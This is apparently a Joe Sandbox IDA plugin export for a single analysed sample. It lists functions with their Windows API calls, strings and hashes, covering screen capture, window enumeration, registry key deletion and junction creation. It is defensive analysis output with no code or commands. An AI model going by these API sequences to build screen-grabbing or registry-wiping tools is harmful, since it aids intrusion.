Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 684b7407cff249bc3bc0679306b1475d3ddca171c6aa5d7e156556331a119482
Instruction ID: aba0e0491a9c0776e95c3e2f19410bee4c0144f392b27eedf81a2efeb382bfc8
Opcode Fuzzy Hash: 684b7407cff249bc3bc0679306b1475d3ddca171c6aa5d7e156556331a119482
Instruction Fuzzy Hash: 6AC18F30204242EFD714DF15C494F6ABBE6BF85318F14955CE49A8B3A2CB71EC86CB91

Function 0066255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006625D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 006625E8
CreateCompatibleDC.GDI32(?), ref: 006625F4
SelectObject.GDI32(00000000,?), ref: 00662601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0066266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 006626AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 006626D0
SelectObject.GDI32(?,?), ref: 006626D8
DeleteObject.GDI32(?), ref: 006626E1
DeleteDC.GDI32(?), ref: 006626E8
ReleaseDC.USER32(00000000,?), ref: 006626F3

Strings

(, xrefs: 0066268D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 8211c14ea63e32884059f2312182dc72cd723b516f47258c775868ec05337faf
Instruction ID: a11026b59e908fb344832a0896d0791e4375e350877fb6a5a8c8750cb28d2f38
Opcode Fuzzy Hash: 8211c14ea63e32884059f2312182dc72cd723b516f47258c775868ec05337faf
Instruction Fuzzy Hash: 1561E2B5D0021AEFCF14CFA4D894AAEBBB6FF48310F20852DE959A7250D771A941CF94

Function 0061DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0061DAA1

Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D659
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D66B
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D67D
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D68F
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D6A1
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D6B3
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D6C5
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D6D7
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D6E9
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D6FB
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D70D
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D71F
Part of subcall function 0061D63C: _free.LIBCMT ref: 0061D731

_free.LIBCMT ref: 0061DA96

Part of subcall function 006129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000), ref: 006129DE
Part of subcall function 006129C8: GetLastError.KERNEL32(00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000,00000000), ref: 006129F0

_free.LIBCMT ref: 0061DAB8
_free.LIBCMT ref: 0061DACD
_free.LIBCMT ref: 0061DAD8
_free.LIBCMT ref: 0061DAFA
_free.LIBCMT ref: 0061DB0D
_free.LIBCMT ref: 0061DB1B
_free.LIBCMT ref: 0061DB26
_free.LIBCMT ref: 0061DB5E
_free.LIBCMT ref: 0061DB65
_free.LIBCMT ref: 0061DB82
_free.LIBCMT ref: 0061DB9A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: f90e62ad7e2ab8d377d6bd82df014e72370ed8b50d7453681b509b7c2fbc282c
Instruction ID: 86c119aab1f77d606a60756140180a90309a845fde373565579dc66cddd5ade9
Opcode Fuzzy Hash: f90e62ad7e2ab8d377d6bd82df014e72370ed8b50d7453681b509b7c2fbc282c
Instruction Fuzzy Hash: E6313F726047069FDB61AA39E845BDA77EAFF00720F19481DE449DB291DF35ACE08724

Function 0064365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0064369C
_wcslen.LIBCMT ref: 006436A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00643797
GetClassNameW.USER32(?,?,00000400), ref: 0064380C
GetDlgCtrlID.USER32(?), ref: 0064385D
GetWindowRect.USER32(?,?), ref: 00643882
GetParent.USER32(?), ref: 006438A0
ScreenToClient.USER32(00000000), ref: 006438A7
GetClassNameW.USER32(?,?,00000100), ref: 00643921
GetWindowTextW.USER32(?,?,00000400), ref: 0064395D

Strings

%s%u, xrefs: 00643734

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: f3214ae883cce7acd9723562e0623346c9f3d3fba60ae95200e4439dbe1c02f1
Instruction ID: 91f4a37ba24c35116e21b0a2a1650cf150ae2d68cd1e21b8e6f0f22fa859b695
Opcode Fuzzy Hash: f3214ae883cce7acd9723562e0623346c9f3d3fba60ae95200e4439dbe1c02f1
Instruction Fuzzy Hash: F691B271204616AFD719DF24C885FEAF7AAFF44350F10852DF999C6290EB30EA45CB91

Function 00644954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00644994
GetWindowTextW.USER32(?,?,00000400), ref: 006449DA
_wcslen.LIBCMT ref: 006449EB
CharUpperBuffW.USER32(?,00000000), ref: 006449F7
_wcsstr.LIBVCRUNTIME ref: 00644A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00644A64
GetWindowTextW.USER32(?,?,00000400), ref: 00644A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00644AE6
GetClassNameW.USER32(?,?,00000400), ref: 00644B20
GetWindowRect.USER32(?,?), ref: 00644B8B

Strings

ThumbnailClass, xrefs: 00644A6F, 00644AF1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 4a4e8a1367fc8c59ecee36bcdf4f4b4078979872e0490551aaa92b9d50ce6d58
Instruction ID: e3534a71d44976d2a345706c74e523b56b4f126684a28707d38abc65fd899b9d
Opcode Fuzzy Hash: 4a4e8a1367fc8c59ecee36bcdf4f4b4078979872e0490551aaa92b9d50ce6d58
Instruction Fuzzy Hash: 7291AD710082059FDB08DF14C986BAA77EAFF84714F04846DFD899A296DF30ED85CBA1

Function 00678D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00678D5A
GetFocus.USER32 ref: 00678D6A
GetDlgCtrlID.USER32(00000000), ref: 00678D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00678E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00678ECF
GetMenuItemCount.USER32(?), ref: 00678EEC
GetMenuItemID.USER32(?,00000000), ref: 00678EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00678F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00678F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00678FA1

Strings

0, xrefs: 00678E9F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 267a76e50a1170df464b9917f9bb519f644c92ec660344b61017e08e4d70b936
Instruction ID: 8a9fc15528f6737d502c9faaba566d3053ec4ed2bee05655a88f11a8a80c3075
Opcode Fuzzy Hash: 267a76e50a1170df464b9917f9bb519f644c92ec660344b61017e08e4d70b936
Instruction Fuzzy Hash: A9819D71548301AFD714CF24C888AAB7BEAFF88354F14891DF98997291DB35DD41CBA2

Function 0064BF30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(006B1990,000000FF,00000000,00000030), ref: 0064BFAC
SetMenuItemInfoW.USER32(006B1990,00000004,00000000,00000030), ref: 0064BFE1
Sleep.KERNEL32(000001F4), ref: 0064BFF3
GetMenuItemCount.USER32(?), ref: 0064C039
GetMenuItemID.USER32(?,00000000), ref: 0064C056
GetMenuItemID.USER32(?,-00000001), ref: 0064C082
GetMenuItemID.USER32(?,?), ref: 0064C0C9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0064C10F
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0064C124
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0064C145

Strings

0, xrefs: 0064BF3D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: ba8745a80ede6e20072ec4148115f93ac16cd1cfb18c0d5b350a18f47a304a5a
Instruction ID: 88d8dfa89994f225f223cce6a855ac6d0d85f79ef276ec2efd34827157b2249d
Opcode Fuzzy Hash: ba8745a80ede6e20072ec4148115f93ac16cd1cfb18c0d5b350a18f47a304a5a
Instruction Fuzzy Hash: 6A619EB090124AEFEF55CF64CC88AEE7BBAFB05364F100159E815A7391D732AD55CB60

Function 0064DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0064DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0064DC46
_wcslen.LIBCMT ref: 0064DC50
_wcsstr.LIBVCRUNTIME ref: 0064DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0064DCBC

Strings

DefaultLangCodepage, xrefs: 0064DD1F
04090000, xrefs: 0064DCF2
StringFileInfo\, xrefs: 0064DC8F
%u.%u.%u.%u, xrefs: 0064DD9A
\VarFileInfo\Translation, xrefs: 0064DCB4

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 27e74dddf74d2c3641d9f205dda75504edaac694cf3b423f69c1cde125d98123
Instruction ID: 1603e4001e6044b36e233a640db65b3c8cedb57f470a7d285ece34b05543e4b4
Opcode Fuzzy Hash: 27e74dddf74d2c3641d9f205dda75504edaac694cf3b423f69c1cde125d98123
Instruction Fuzzy Hash: 69410572D402057ADB18A774DC47EFF7BAEEF42720F14406DFA05A61C2EA7499018BB4

Function 0066CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0066CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0066CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0066CD48

Part of subcall function 0066CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0066CCAA
Part of subcall function 0066CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0066CCBD
Part of subcall function 0066CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0066CCCF
Part of subcall function 0066CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0066CD05
Part of subcall function 0066CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0066CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0066CCF3

Strings

RegDeleteKeyExW, xrefs: 0066CCC9
advapi32.dll, xrefs: 0066CCB8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 89a47909277392937349f367952b1964fd04946b33471dde501eafdb5dd9b0ec
Instruction ID: c216350a7d66bd056fd7b45ddf500bd636bab64ea5bcc9b5d9c5869833cb2561
Opcode Fuzzy Hash: 89a47909277392937349f367952b1964fd04946b33471dde501eafdb5dd9b0ec
Instruction Fuzzy Hash: 85318171901128BBD7209B54DC88EFFBB7EEF45760F000169F949E2240D7349E85DAE0

Function 00653D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00653D40
_wcslen.LIBCMT ref: 00653D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00653D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00653DBE
RemoveDirectoryW.KERNEL32(?), ref: 00653DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00653E55
CloseHandle.KERNEL32(00000000), ref: 00653E60
CloseHandle.KERNEL32(00000000), ref: 00653E6B

Strings

\??\%s, xrefs: 00653D5B
\, xrefs: 00653D77
:, xrefs: 00653D82

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: cd67f9df3728a5e38ef58a0a15e97a990a3269ee252be0809943c99a933ee9dc
Instruction ID: 9c673d7f4ca755dd3836cc6d3ce23237853032ff60d0462adbde46966808a52d
Opcode Fuzzy Hash: cd67f9df3728a5e38ef58a0a15e97a990a3269ee252be0809943c99a933ee9dc
Instruction Fuzzy Hash: 6831D672500119ABDB209FA0DC49FEF37BEEF88B51F1041B9FA19D6260E77097848B24

Function 0064E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0064E6B4

Part of subcall function 005FE551: timeGetTime.WINMM(?,?,0064E6D4), ref: 005FE555

Sleep.KERNEL32(0000000A), ref: 0064E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0064E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0064E727
SetActiveWindow.USER32 ref: 0064E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0064E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0064E773
Sleep.KERNEL32(000000FA), ref: 0064E77E
IsWindow.USER32 ref: 0064E78A
EndDialog.USER32(00000000), ref: 0064E79B

Strings

BUTTON, xrefs: 0064E719

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 35246d210720c9409f24a4778547ec989f2d3cf56de0793ad650eca403c54b08
Instruction ID: 1789c01156e39bf13a6e396c48aca89fe34d9f61adf27bd23022627455ac05c4
Opcode Fuzzy Hash: 35246d210720c9409f24a4778547ec989f2d3cf56de0793ad650eca403c54b08
Instruction Fuzzy Hash: 352196B0640205AFEB045F20ECDAE253BABF755369F103529F505812B1EB729CC0DB24

Function 0064E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0064EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0064EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0064EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0064EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0064EAA7

Strings

open , xrefs: 0064EA0C
play PlayMe wait, xrefs: 0064EA91
close PlayMe, xrefs: 0064EA6E, 0064EA9B
play PlayMe, xrefs: 0064EAA2
alias PlayMe, xrefs: 0064EA36
status PlayMe mode, xrefs: 0064EA58

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 6475dcf1470fc0a88aff43aa9df5c403e134152a9a37204ec0a8bc7f31e48658
Instruction ID: 6268aef781ba660370e5cdda613be719a6a18f3793a2df81d6d1f2d50e5b907e
Opcode Fuzzy Hash: 6475dcf1470fc0a88aff43aa9df5c403e134152a9a37204ec0a8bc7f31e48658
Instruction Fuzzy Hash: B1115E31A9025A79D724B7A2DC4EDFF6A7EFBD2B40F550429B811A20D1EEB04D85C9B0

Function 00645CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00645CE2
GetWindowRect.USER32(00000000,?), ref: 00645CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00645D59
GetDlgItem.USER32(?,00000002), ref: 00645D69
GetWindowRect.USER32(00000000,?), ref: 00645D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00645DCF
GetDlgItem.USER32(?,000003E9), ref: 00645DDD
GetWindowRect.USER32(00000000,?), ref: 00645DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00645E31
GetDlgItem.USER32(?,000003EA), ref: 00645E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00645E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00645E67

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 6b3bb2a55c11e0a872a8b7cdc686ec204a9e43d689fdcb4e4368a37a8c9480af
Instruction ID: b55079734d5b5e1f2345cf6fe245485fdb456c90c72fb7d00e25bf0945c8210c
Opcode Fuzzy Hash: 6b3bb2a55c11e0a872a8b7cdc686ec204a9e43d689fdcb4e4368a37a8c9480af
Instruction Fuzzy Hash: A9512D70A00615AFDB18CF68CD99AAEBBB6FF48310F149129F51AE6291D7709E40CB50

Function 005F8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,005F8BE8,?,00000000,?,?,?,?,005F8BBA,00000000,?), ref: 005F8FC5

DestroyWindow.USER32(?), ref: 005F8C81
KillTimer.USER32(00000000,?,?,?,?,005F8BBA,00000000,?), ref: 005F8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00636973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,005F8BBA,00000000,?), ref: 006369A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,005F8BBA,00000000,?), ref: 006369B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,005F8BBA,00000000), ref: 006369D4
DeleteObject.GDI32(00000000), ref: 006369E6

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

